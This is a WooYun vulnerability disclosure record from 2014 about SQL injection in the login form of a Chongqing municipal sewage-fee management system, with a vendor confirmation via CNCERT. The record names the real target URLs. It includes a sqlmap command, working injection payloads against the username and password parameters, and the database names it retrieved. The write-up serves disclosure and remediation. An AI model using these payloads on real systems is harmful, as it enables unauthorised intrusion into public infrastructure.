当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070561

漏洞标题:某市污水处理费管理系统sql导致内网沦陷

相关厂商:cncert国家互联网应急中心

漏洞作者: scanf

提交时间:2014-08-01 11:31

修复时间:2014-09-15 11:32

公开时间:2014-09-15 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向核心白帽子及相关领域专家公开
2014-08-26: 细节向普通白帽子公开
2014-09-05: 细节向实习白帽子公开
2014-09-15: 细节向公众公开

简要描述:

某市污水处理费管理系统

详细说明:

是重庆政府的
http://wsz.cq.gov.cn/
http://218.70.39.1/wscl/login.aspx

QQ截图20140801090853.png


登录框post注入

QQ截图20140801090937.png


截包
sqlmap跑

[wooyun@scanf~]# Sqlmap -r post.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 08:59:47
[08:59:47] [INFO] parsing HTTP request from 'post.txt'
[08:59:47] [WARNING] it appears that you have provided tainted parameter values
('txt_UserName=admin'') with most probably leftover chars/statements from manual
SQL injection test(s). Please, always use only valid parameter values so sqlmap
could be able to run properly
are you sure you want to continue? [y/N] y
[08:59:49] [WARNING] it appears that you have provided tainted parameter values
('txt_PassWord=admin'') with most probably leftover chars/statements from manual
SQL injection test(s). Please, always use only valid parameter values so sqlmap
could be able to run properly
are you sure you want to continue? [y/N] y
[08:59:49] [INFO] resuming back-end DBMS 'microsoft sql server'
[08:59:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: txt_UserName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKLTc3NDkyNzgyN2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N
0QmFja0tleV9fFgEFCWJ0bl9Mb2dpbt20ydpBENnnTowPDXaYDgmn3Gbq&txt_UserName=admin' AN
D 5620=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(120)+CHAR(105)+CHAR(113)+(SE
LECT (CASE WHEN (5620=5620) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(115
)+CHAR(107)+CHAR(122)+CHAR(113)))-- fvFp&btn_Login.x=35&btn_Login.y=31&txt_PassW
ord=admin'&__EVENTVALIDATION=/wEWBAKAx5/0AwL3xJvhBAKDkOvcBALy9cL8AmKevSaBv/xVL9v
xFiQkuC77W/wZ
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUKLTc3NDkyNzgyN2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N
0QmFja0tleV9fFgEFCWJ0bl9Mb2dpbt20ydpBENnnTowPDXaYDgmn3Gbq&txt_UserName=admin'; W
AITFOR DELAY '0:0:5'--&btn_Login.x=35&btn_Login.y=31&txt_PassWord=admin'&__EVENT
VALIDATION=/wEWBAKAx5/0AwL3xJvhBAKDkOvcBALy9cL8AmKevSaBv/xVL9vxFiQkuC77W/wZ
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUKLTc3NDkyNzgyN2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N
0QmFja0tleV9fFgEFCWJ0bl9Mb2dpbt20ydpBENnnTowPDXaYDgmn3Gbq&txt_UserName=admin' WA
ITFOR DELAY '0:0:5'--&btn_Login.x=35&btn_Login.y=31&txt_PassWord=admin'&__EVENTV
ALIDATION=/wEWBAKAx5/0AwL3xJvhBAKDkOvcBALy9cL8AmKevSaBv/xVL9vxFiQkuC77W/wZ
---
[08:59:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[08:59:50] [INFO] fetching database names
[08:59:50] [WARNING] reflective value(s) found and filtering out
[08:59:50] [INFO] the SQL query used returns 8 entries
[08:59:50] [INFO] retrieved: gsgl
[08:59:50] [INFO] retrieved: master
[08:59:51] [INFO] retrieved: model
[08:59:51] [INFO] retrieved: msdb
[08:59:51] [INFO] retrieved: szfx
[08:59:51] [INFO] retrieved: tempdb
[08:59:52] [INFO] retrieved: wscl
[08:59:52] [INFO] retrieved: xzsp
available databases [8]:
[*] gsgl
[*] master
[*] model
[*] msdb
[*] szfx
[*] tempdb
[*] wscl
[*] xzsp
[08:59:52] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\218.70.39.1'
[*] shutting down at 08:59:52


权限

QQ截图20140801091049.png


QQ截图20140801104632.png


漏洞证明:

QQ截图20140801104845.png


QQ截图20140801104905.png


修复方案:

过滤 检查服务器

版权声明:转载请注明来源 scanf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-08-06 07:53

厂商回复:

cnvd确认并复现所述情况,已经转由cncert下发给重庆分中心处置。

最新状态:

暂无